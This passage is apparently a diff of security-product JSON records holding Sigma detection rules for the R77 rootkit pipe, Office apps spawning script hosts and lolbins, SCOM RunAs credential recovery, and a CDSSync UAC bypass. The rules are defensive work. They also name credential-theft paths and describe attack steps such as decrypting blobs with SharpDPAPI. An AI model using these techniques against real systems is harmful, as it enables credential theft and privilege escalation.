+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087888Z",
+  "creation_date": "2026-03-23T11:45:34.087890Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087894Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit",
+    "https://twitter.com/malmoeb/status/1523179260273254407",
+    "https://github.com/bytecode77/r77-rootkit",
+    "https://attack.mitre.org/techniques/T1014/"
+  ],
+  "name": "t1014_r77_named_pipes_connected.yml",
+  "content": "title: Named Pipe Connected linked to R77 Rootkit\nid: 8f319367-4b99-4eab-be5b-1cd8295d577a\ndescription: |\n    Detects connection to a Named Pipe pertaining to the R77 ring3 rootkit.\n    R77 is an open source userland rootkit that is being used to hide the presence of other software on a system by hooking multiple Windows APIs.\n    It is recommended to investigate the process that connected to the named pipe to determine its legitimacy.\nreferences:\n    - https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit\n    - https://twitter.com/malmoeb/status/1523179260273254407\n    - https://github.com/bytecode77/r77-rootkit\n    - https://attack.mitre.org/techniques/T1014/\ndate: 2022/07/18\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1014\n    - attack.execution\n    - attack.t1106\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Rootkit.R77\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: named_pipe_connection\n    product: windows\ndetection:\n    selection:\n        PipeName: '\\$77control'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f319367-4b99-4eab-be5b-1cd8295d577a",
+  "rule_name": "Named Pipe Connected linked to R77 Rootkit",
+  "rule_description": "Detects connection to a Named Pipe pertaining to the R77 ring3 rootkit.\nR77 is an open source userland rootkit that is being used to hide the presence of other software on a system by hooking multiple Windows APIs.\nIt is recommended to investigate the process that connected to the named pipe to determine its legitimacy.\n",
+  "rule_creation_date": "2022-07-18",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014",
+    "attack.t1106",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f4677ab-ed23-4357-929d-c15459d867f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628319Z",
+  "creation_date": "2026-03-23T11:45:34.628321Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628325Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/",
+    "https://attack.mitre.org/techniques/T1203/"
+  ],
+  "name": "t1104_office_application_spawning_malicious_processes.yml",
+  "content": "title: Dangerous Process Started by Microsoft Office Application\nid: 8f4677ab-ed23-4357-929d-c15459d867f3\ndescription: |\n    Detects suspicious child processes spawned by Microsoft Office applications (Word, Excel, Powerpoint, Publisher, Visio, ...), which may indicate the execution of malicious code via phishing documents or macro abuse.\n    This behavior is commonly observed in attacks leveraging weaponized Office files to download or execute additional payloads.\n    It is recommended to investigate the command-line as well as to correlate this alert with other commands executed around it to determine its legitimacy.\nreferences:\n    - https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/\n    - https://attack.mitre.org/techniques/T1203/\ndate: 2020/09/30\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.initial_access\n    - attack.t1203\n    - attack.t1204.002\n    - attack.t1566\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_parent:\n        ParentImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\OUTLOOK.EXE'\n            - '\\POWERPNT.EXE'\n            - '\\VISIO.EXE'\n            - '\\EQNEDT32.EXE'  # related to CVE 2017-11882\n            - '\\GRAPH.EXE'\n            - '\\MSPUB.exe'\n            - '\\WINPROJ.exe'\n            - '\\WORDPAD.exe'\n\n    selection_image:\n        - Image|endswith:\n          # cmd + scripts\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n          # persistence\n            - '\\schtasks.exe'\n            - '\\regsvr32.exe'  # lolbas squiblydoo\n            - '\\wmic.exe'  # use wmic to spawn PowerShell or else under wmiprvse or squiblytwo\n            - '\\mshta.exe'\n            - '\\rundll32.exe'\n            - '\\msiexec.exe'\n            - '\\msbuild.exe' # https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml\n            - '\\AppVLP.exe' # lolbas : https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/\n          # resource extraction\n            - '\\extrac32.exe' # https://twitter.com/ShadowChasing1/status/1557287930267578368\n        # handle renamed binaries\n        - OriginalFileName:\n            - 'Cmd.Exe'\n            - 'PowerShell.EXE'\n            - 'cscript.exe'\n            - 'wscript.exe'\n            - 'schtasks.exe'\n            - 'REGSVR32.EXE'\n            - 'wmic.exe'\n            - 'MSHTA.EXE'\n            - 'RUNDLL32.EXE'\n            - 'msiexec.exe'\n            - 'MSBuild.exe'\n            - 'appvlp.exe'\n            - 'extrac32.exe'\n\n    # This is handled by the rule 686d2296-eed8-4f0a-8e68-174ea45e8902\n    filter_appdata:\n        ParentCommandLine|contains: '\\AppData\\'\n\n    exclusion_false_positives:\n        CommandLine:\n            # parent is outlook\n            - '*\\rundll32.exe ?:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll, ImageView_Fullscreen *'\n            - '*ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile*'\n            - '*cryptext.dll,CryptExt*'\n            - '*?:\\windows\\system32\\spool\\drivers\\\\*'\n            - '*\\ZoneCentral\\zedmail.dll*'  # '*c:\\program files\\Prim'X\\ZoneCentral\\zedmail.dll*'\n            - '*\\ZoneCentral\\zedmail32.dll*' # '*c:\\program files\\Prim'X\\ZoneCentral\\zedmail32.dll*'\n            - '*\\ZoneCentral\\zci.dll,*'\n            - '*printui.dll,PrintUIEntry*'\n            - '*shell32.dll,Control_RunDLL*srchadmin.dll*'\n            # - '*c:\\windows\\system32\\mshtml.dll*'  # mshtml only could permit dangerous stuff\n            - '*dfshim.dll*ShOpenVerbApplication*'\n            - '*\\rundll32.exe ?:\\Windows\\System32\\dfshim.dll,ShOpenVerbShortcut *'\n            - '*shell32.dll,SHCreateLocalServerRunDll *{3eef301f-b596-4c0b-bd92-013beafce793}*' # Desktop Undo Manager\n            #   C:\\windows\\system32\\rundll32.exe C:\\windows\\syswow64\\WININET.dll,DispatchAPICall 1\n            - '*\\windows\\syswow64\\WININET.dll,DispatchAPICall 1'\n            - '*\\windows\\system32\\WININET.dll,DispatchAPICall 1'\n            # C:\\WINDOWS\\system32\\MSIEXEC.EXE /X {AB966E92-1EB2-4BEB-81CA-6B319681B977} /QB\n            - '*\\MSIEXEC.EXE /X {????????-????-????-????-????????????} /QB'\n            # \"C:\\WINDOWS\\system32\\MSIEXEC.EXE\" /X {7EE8ACD7-531C-4E3E-A481-E2D468CB6DDD} /QB\n            - '*\\MSIEXEC.EXE? /X {????????-????-????-????-????????????} /QB'\n            - '*\\rundll32.exe ?:\\Windows\\system32\\shell32.dll,OpenAs_RunDLL *'\n            - '*\\rundll32.exe shwebsvc.dll,AddNetPlaceRunDll'\n            - '*\\rundll32.exe ?:\\Windows\\system32\\url.dll,MailToProtocolHandler mailto:*'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -command Get-TimeZone|clip'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -command Get-TimeZone|clip'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -command Get-Culture|clip'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -command Get-Culture|clip'\n            - 'cmd /c type *.txt | clip'\n            - '?:\\Windows\\System32\\cmd.exe /c schtasks /delete /tn Kutools Scheduler Send /F' # https://appsource.microsoft.com/fr-fr/product/office/wa200007808?tab=overview\n            - '?:\\Windows\\system32\\msiexec.exe /i ?:\\Users\\\\*\\AppData\\Local\\Temp\\tmp????.tmp'\n            - '?:\\Windows\\System32\\msiexec.exe /i ?:\\Users\\\\*\\AppData\\Local\\Temp\\CalDavSynchronizer\\\\*\\CalDavSynchronizer.Setup.msi /passive'\n            - 'cmd.exe /C taskkill/PID * /F && msiexec /norestart /uninstall {????????-????-????-????-????????????} /qr && msiexec.exe /i ?:\\Users\\\\*\\AppData\\Local\\Temp\\WordExpertSetup.msi TARGETDIR=?:\\APPS\\Regnology\\Word Expert? && start winword.exe'\n            - 'cscript ?:\\Program Files\\Microsoft Office\\Office??\\ospp.vbs /dstatus'\n            - '?:\\Windows\\System32\\cscript.exe ?:\\Program Files\\Microsoft Office\\root\\Office??\\ospp.vbs /dstatus'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\dsquery.dll,OpenSavedDsQuery *.qds'\n            - '?:\\Windows\\System32\\rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c \\\\\\\\*'\n            - '?:\\windows\\System32\\WScript.exe \\\\\\\\*'\n            - '?:\\Windows\\System32\\cmd.exe /C pause'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c D:\\\\*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c E:\\\\*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c F:\\\\*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c G:\\\\*'\n            - '?:\\Windows\\system32\\cmd.exe /c L:\\\\*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c Q:\\\\*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c X:\\\\*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c Z:\\\\*'\n            - 'rundll32.exe ?:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll,InstallVstoSolution *.vsto'\n            - 'cmd /c ftp -i -s:?:\\\\*\\FtpFicintrop.cfg > ?:\\\\*\\Debug.log'\n            - 'cmd /c start *.pdf'\n            - 'cmd /c start *.html'\n            - 'cmd /c start *.jsp'\n            - 'cmd /c start *.jpg'\n            - '?:\\Windows\\System32\\cmd.exe /c start *.pdf'\n            - '?:\\Windows\\System32\\cmd.exe /c start *.html'\n            - '?:\\Windows\\System32\\cmd.exe /c start *.jsp'\n            - '?:\\Windows\\System32\\cmd.exe /c start *.jpg'\n            - '?:\\Windows\\SysWOW64\\cmd.exe /c start *.pdf'\n            - '?:\\Windows\\SysWOW64\\cmd.exe /c start *.html'\n            - '?:\\Windows\\SysWOW64\\cmd.exe /c start *.jsp'\n            - '?:\\Windows\\SysWOW64\\cmd.exe /c start *.jpg'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\shimgvw.dll,imageview_fullscreen *.jpg'\n\n    exclusion_qgis:\n        CommandLine:\n            - '?:\\windows\\system32\\cmd.exe /c ?:\\PROGRA*\\QGIS*\\\\*'\n            - 'CMD /C SET GDAL_DATA=?:\\Program Files\\QGIS*\\\\*'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\QGIS*\\bin\\\\*'\n\n    exclusion_printer:\n        CommandLine|startswith:\n            - '?:\\Windows\\SysWOW64\\rundll32.exe ?:\\Windows\\System32\\mshtml.dll,PrintHTML'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\mshtml.dll,PrintHTML'\n\n    exclusion_pkcs:\n        CommandLine|startswith:\n            - '?:\\Windows\\SysWOW64\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7'\n            - '?:\\Windows\\System32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7'\n\n    exclusion_photoviewer:\n        CommandLine|contains:\n            # \"C:\\windows\\System32\\rundll32.exe\" \"C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen C:\\Users\\xxx\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\2UBOS01P\\Screenshot_20210113-145546_WhatsApp.jpg\n            - '?:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll'\n            - '?:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll'\n\n    exclusion_securecrt_1:\n        CommandLine|contains|all:\n            - '?:\\Windows\\System32\\cmd.exe /c'\n            - 'AppData'\n            - 'Local'\n            - 'VanDyke'\n            - 'Software'\n            - 'SecureCRT.exe'\n\n    exclusion_securecrt_2:\n        CommandLine|contains|all:\n            - 'powershell -command Get-ChildItem -Path'\n            - Recurse -include '\\*SecureCRT.exe' | %{Write-host $_.FullName}\n\n    exclusion_securecrt_3:\n        CommandLine|startswith: '?:\\Windows\\System32\\cmd.exe /c SecureCRT.exe'\n\n    exclusion_office_repair_log:\n        CommandLine|endswith:\n            - '\\msiexec.exe /focmu {901?????-00??-0000-?000-0000000FF1CE} /lwieap ?:\\\\*\\Microsoft Office *.txt /qb+'\n            - '\\msiexec.exe /focmu {901?????-00??-0000-?000-0000000FF1CE} /qb+'\n\n    exclusion_activex_mail:\n        CommandLine|contains:\n            - '\\dwa85W.dll,MailToProtocolHandler mailto:'\n            - '\\dwa9W.dll,MailToProtocolHandler mailto:'\n\n    exclusion_driver_eject:\n        CommandLine|startswith: '?:\\windows\\System32\\RunDll32.exe ?:\\windows\\system32\\hotplug.dll,HotPlugSafeRemovalDriveNotification'\n\n    exclusion_chrome_start:\n        CommandLine: '?:\\Windows\\System32\\cmd.exe start chrome.exe'\n\n    exclusion_genapi:\n        CommandLine|startswith: '?:\\Windows\\system32\\cmd.exe /c ?:\\Users\\\\*\\AppData\\Roaming\\Genapi\\Synchro\\Outlook\\RegDll-iNot.cmd ?:\\Users\\\\*\\AppData\\Local\\Apps\\'\n\n    exclusion_screencapture:\n        CommandLine|startswith: '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\shimgvw.dll,ImageView_PrintTo /pt'\n\n    exclusion_choice:\n        CommandLine|startswith:\n            - '?:\\Windows\\SysWOW64\\cmd.exe /c choice'\n            - '?:\\Windows\\System32\\cmd.exe /c choice'\n\n    exclusion_udcofficeaddin:\n        CommandLine: 'regsvr32 /s /n /i ?:\\Windows\\system32\\spool\\DRIVERS\\\\*\\UDCOfficeAddin*.dll'\n\n    exclusion_routers_config:\n        CommandLine: 'powershell -command Invoke-WebRequest -URI *http://*/cgi-bin/cvsweb/Routeurs/configs/* -UseBasicParsing | Select-Object -ExpandProperty Content'\n\n    exclusion_zimbra_1:\n        #  Zimbra Connector for Microsoft Outlook\n        CommandLine:\n            - '?:\\WINDOWS\\SysWOW64\\regsvr32.exe LSMSSP32.dll /s'\n            - '?:\\Windows\\System32\\regsvr32.exe LSMSSP32.dll /s'\n        ParentImage|endswith: '\\OUTLOOK.EXE'\n\n    exclusion_zimbra_2:\n        CommandLine:\n            - '?:\\Windows\\SysWOW64\\msiexec.exe /i ?:\\Users\\\\*\\AppData\\Local\\Temp\\ZimbraConnectorOLK*.msi'\n            - '?:\\Windows\\System32\\msiexec.exe /i ?:\\Users\\\\*\\AppData\\Local\\Temp\\ZimbraConnectorOLK*.msi'\n\n    exclusion_hpmsn:\n        CommandLine|startswith: '?:\\Windows\\System32\\rundll32.exe ?:\\WINDOWS\\system32\\spool\\DRIVERS\\\\*\\hpmsn???.dll,MonitorPrintJobStatus '\n\n    exclusion_teams:\n        CommandLine|startswith: '?:\\windows\\system32\\cmd.exe /c start microsoft-edge:https://teams.microsoft.com/'\n\n    exclusion_grooveutil:\n        CommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\Rundll32.exe ?:\\Program Files\\Microsoft Office\\Office??\\GrooveUtil.DLL,GetResourceModulePath'\n            - '?:\\WINDOWS\\system32\\Rundll32.exe ?:\\Program Files (x86)\\Microsoft Office\\Office??\\GrooveUtil.DLL,GetResourceModulePath'\n\n    exclusion_poweruser:\n        CommandLine|contains: 'msiexec.exe /i ?:\\Users\\\\*\\Power-user*.msi /QN'\n\n    exclusion_striata:\n        CommandLine|contains: 'rundll32.exe ?:\\Users\\\\*\\AppData\\Local\\Striata-Reader\\keymail.dll,OpenDocument'\n\n    exclusion_hp:\n        CommandLine|contains:\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Program Files\\Hewlett-Packard\\Privacy Manager Sign and Chat\\Bin\\DPCertWorks.dll,ExpirationCheck'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Program Files (x86)\\Hewlett-Packard\\Privacy Manager Sign and Chat\\Bin\\DPCertWorks.dll,ExpirationCheck'\n\n    exclusion_sagex3:\n        CommandLine|contains: '\\msiexec.exe /i ?:\\Users\\\\*\\AppData\\Local\\Sage\\SageX3OfficeAddIn.msi'\n\n    exclusion_zedmail:\n        CommandLine|contains:\n            - 'RunDll32.exe ?:\\Program Files\\Prim?X\\ZedMail\\zedmail.dll,ZMWTS32W'\n            - 'RunDll32.exe ?:\\Program Files\\Prim?X\\ZedMail\\zedmail32.dll,ZMWTS32W'\n            - 'RunDll32.exe ?:\\Program Files\\Prim?X\\ZedMail\\zci.dll,NPAFMRD32W'\n            - 'RunDll32.exe ?:\\Program Files\\Prim?X\\ZedMail Trial\\zedmail.dll,ZMWTS32W'\n            - 'RunDll32.exe ?:\\Program Files\\Prim?X\\ZedMail Trial\\zedmail32.dll,ZMWTS32W'\n            - 'RunDll32.exe ?:\\Program Files\\Prim?X\\ZedMail Trial\\zci.dll,NPAFMRD32W'\n\n    exclusion_circdna:\n        CommandLine|startswith: '?:\\WINDOWS\\system32\\cmd.exe /c */CircRNA profilling/circRNA matrix/Cells/Cells'\n\n    exclusion_neofox:\n        CommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\cmd.exe /c *\\NeoFox Syntax Checker\\NeoFox*\\NeoFox\\scriptLauncher.bat'\n            - '?:\\WINDOWS\\system32\\cmd.exe /c *\\NeoFox Syntax Checker Versions\\NeoFox *\\NeoFox\\scriptLauncher.bat'\n\n    exclusion_locales:\n        CommandLine:\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -command Set-Culture ??'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -command Set-TimeZone -Id ??'\n\n    exclusion_inetcpl:\n        CommandLine|contains|all:\n            - 'RunDll32.exe InetCpl.Cpl'\n            - 'ClearMyTracksByProcess'\n\n    # https://s3.amazonaws.com/helpscout.net/docs/assets/583d8b88c6979106d3737d03/attachments/6194bed82b380503dfe05bb4/MIMH_FTC_GuidePublipostageVelocity.pdf\n    exclusion_imhoweb:\n        CommandLine|contains|all:\n            - '?:\\WINDOWS\\system32\\cmd.exe /c'\n            - '\\ImhowebXDocReports\\Preview\\bin?xdrtools.bat'\n            - 'imhoweb.fields.xml'\n\n    exclusion_inot:\n        CommandLine|startswith: '?:\\windows\\system32\\cmd.exe /c ?:\\Users\\\\*\\AppData\\Roaming\\Genapi\\Synchro\\Outlook\\RegDll-iNot.cmd'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f4677ab-ed23-4357-929d-c15459d867f3",
+  "rule_name": "Dangerous Process Started by Microsoft Office Application",
+  "rule_description": "Detects suspicious child processes spawned by Microsoft Office applications (Word, Excel, Powerpoint, Publisher, Visio, ...), which may indicate the execution of malicious code via phishing documents or macro abuse.\nThis behavior is commonly observed in attacks leveraging weaponized Office files to download or execute additional payloads.\nIt is recommended to investigate the command-line as well as to correlate this alert with other commands executed around it to determine its legitimacy.\n",
+  "rule_creation_date": "2020-09-30",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1204.002",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f470a12-2426-4734-b2d3-657575552dae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625562Z",
+  "creation_date": "2026-03-23T11:45:34.625564Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625568Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://specterops.io/blog/2025/12/10/scommand-and-conquer-attacking-system-center-operations-manager-part-2/",
+    "https://attack.mitre.org/techniques/T1552/002/"
+  ],
+  "name": "t1552_002_scom_runas_credentials_recovery_via_registry.yml",
+  "content": "title: SCOM RunAs Credentials Recovery via Registry\nid: 8f470a12-2426-4734-b2d3-657575552dae\ndescription: |\n    Detects a recovery of the SCOM RunAs credential blobs in the registry under \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\HealthService\\Parameters\\Management Groups\\<MG>\\SSDB\\SSIDs\".\n    System Center Operations Manager (SCOM), the Microsoft cross-platform data center monitoring system for operating systems and hypervisors, uses these blobs for its health service.\n    Feeding the extracted blob to a tool such as SharpDPAPI would allow the actor to resolve the master key and decrypt the payload, revealing the clear-text RunAs username and password.\n    It is recommended to check the related process for suspicious activities.\nreferences:\n    - https://specterops.io/blog/2025/12/10/scommand-and-conquer-attacking-system-center-operations-manager-part-2/\n    - https://attack.mitre.org/techniques/T1552/002/\ndate: 2025/12/17\nmodified: 2025/12/22\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.002\n    - attack.t1555\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: ReadValue\n        TargetObject:\n            - 'HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\HEALTHSERVICE\\PARAMETERS\\MANAGEMENT GROUPS\\\\*\\SSDB\\SSIDS\\\\*'\n            - 'HKLM\\SYSTEM\\CONTROLSET???\\SERVICES\\HEALTHSERVICE\\PARAMETERS\\MANAGEMENT GROUPS\\\\*\\SSDB\\SSIDS\\\\*'\n\n    exclusion_scom_healthservice:\n        ProcessOriginalFileName: 'HealthService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8f470a12-2426-4734-b2d3-657575552dae",
+  "rule_name": "SCOM RunAs Credentials Recovery via Registry",
+  "rule_description": "Detects a recovery of the SCOM RunAs credential blobs in the registry under \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\HealthService\\Parameters\\Management Groups\\<MG>\\SSDB\\SSIDs\".\nSystem Center Operations Manager (SCOM), the Microsoft cross-platform data center monitoring system for operating systems and hypervisors, uses these blobs for its health service.\nFeeding the extracted blob to a tool such as SharpDPAPI would allow the actor to resolve the master key and decrypt the payload, revealing the clear-text RunAs username and password.\nIt is recommended to check the related process for suspicious activities.\n",
+  "rule_creation_date": "2025-12-17",
+  "rule_modified_date": "2025-12-22",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.002",
+    "attack.t1555"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8f7af33c-6aa5-4203-abdc-0f8909589f83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092517Z",
+  "creation_date": "2026-03-23T11:45:34.092519Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092523Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/AzAgarampur/byeintegrity5-uac"
+  ],
+  "name": "t1548_002_uac_bypass_cdssync.yml",
+  "content": "title: UAC Bypass Executed via CDSSync\nid: 8f7af33c-6aa5-4203-abdc-0f8909589f83\ndescription: |\n    Detects attempts to bypass UAC through the CDSSync scheduled task vulnerability.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on a system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    This technique manipulates the SystemRoot environment variable and exploits the Task Scheduler COM interface to load an unsigned npmproxy.dll, triggering elevated command execution through the CDSSync task in \\Microsoft\\Windows\\WlanSvc.\n    The attack bypasses UAC by avoiding the Application Information service entirely through task scheduler abuse.\n    It is recommended to verify DLL signatures in modified SystemRoot paths, and perform analysis on the unsigned DLLs.\nreferences:\n    - https://github.com/AzAgarampur/byeintegrity5-uac\ndate: 2020/11/27\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.002\n    - attack.t1548.002\n    - attack.execution\n    - attack.t1053\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image: '?:\\Windows\\System32\\taskhostw.exe'\n        ImageLoaded|endswith: '\\npmproxy.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature|contains: 'Microsoft Windows'\n\n    exclusion_default_system_root:\n        # This bypass use a custom path for %SystemRoot%.\n        ImageLoaded: '?:\\Windows\\System32\\npmproxy.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
